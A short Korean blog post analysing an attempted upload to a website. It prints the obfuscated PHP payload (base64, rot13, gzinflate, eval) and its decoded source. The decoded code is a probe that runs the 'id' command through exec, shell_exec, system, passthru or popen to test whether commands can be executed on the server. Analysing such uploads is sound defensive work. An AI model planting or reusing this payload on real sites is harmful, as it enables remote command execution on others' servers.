PHP 소스분석

programming/php 2009. 10. 22. 10:02 |

모 웹 사이트에 위의 코드를 업로드하려는 시도가 발견되었다.
$vopcrew = "pZLNd8MwEITvgbyDIgyWIZT059Q0xdBYYg30TRCOvIpIecl15cYh5N0ryWTSUCCH3sTMzrfDosQgTJF8/b7mH5/L6QRRcgj9TLRi9mT3srGv9CwafEEMjk0immVSSBnfgLDtR0OgdMHJxtTF8spnIjstnDKaxDkJ2cGnLYQOduonlCR5Blrr9oMdfCXZGOPQK2fIRehOpNHNwzMOzwMoLD4Bv43SjH52bTaOvkeNYw2IFdQ1v2BCjPyiD4VhQ/booDkVMxuOrrCOhUM+S3TIyPdQW2NcGO1Ae1Gc9SLokosaCs1hrHkLUUrZ7urS0fz32lwh90TTTAEskQHRmhb0Y2t3dvb3dzR8il2ld2CzXIKRPpJy5ECif+fD0k9EbWh+v2trypbkGMqK2mCgx9VeseA6q3AoKL8=";
eval(gzinflate(str_rot13(base64_decode($vopcrew))));
exit;

id라는 시스템명령을 실행하려는 소스이며 exec, system, passthru, popen등으로 시도한다는 걸 알 수 있다.
실행결과화면은 다음과 같다.


<?php
$os = @PHP_OS;
echo "v0pCr3w";
echo "os:$os";
$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;
function ex($cfe)
{
  $res = '';
  if (!empty($cfe))
  {
    if(function_exists('exec'))
    {
      @exec($cfe,$res);
      $res = join("\n",$res);
    }
    elseif(function_exists('shell_exec'))
    {
      $res = @shell_exec($cfe);
    }
    elseif(function_exists('system'))
    {
      @ob_start(); @system($cfe);
      $res = @ob_get_contents();
      @ob_end_clean();
    }
    elseif(function_exists('passthru'))
    {
      @ob_start();
      @passthru($cfe);
      $res = @ob_get_contents();
      @ob_end_clean();
    }
    elseif(@is_resource($f = @popen($cfe,"r")))
    {
      $res = "";
      while(!@feof($f))
      {
        $res .= @fread($f,1024);
      }
      @pclose($f);
    }
  }
  return $res;
}
?>

'programming > php' 카테고리의 다른 글

PHP backticks shell command  (0) 2010.08.04
session_start()사용시 주의  (0) 2010.05.04
exec(함수  (0) 2010.04.22
safemode  (0) 2010.03.08
Posted by applicationlayer
: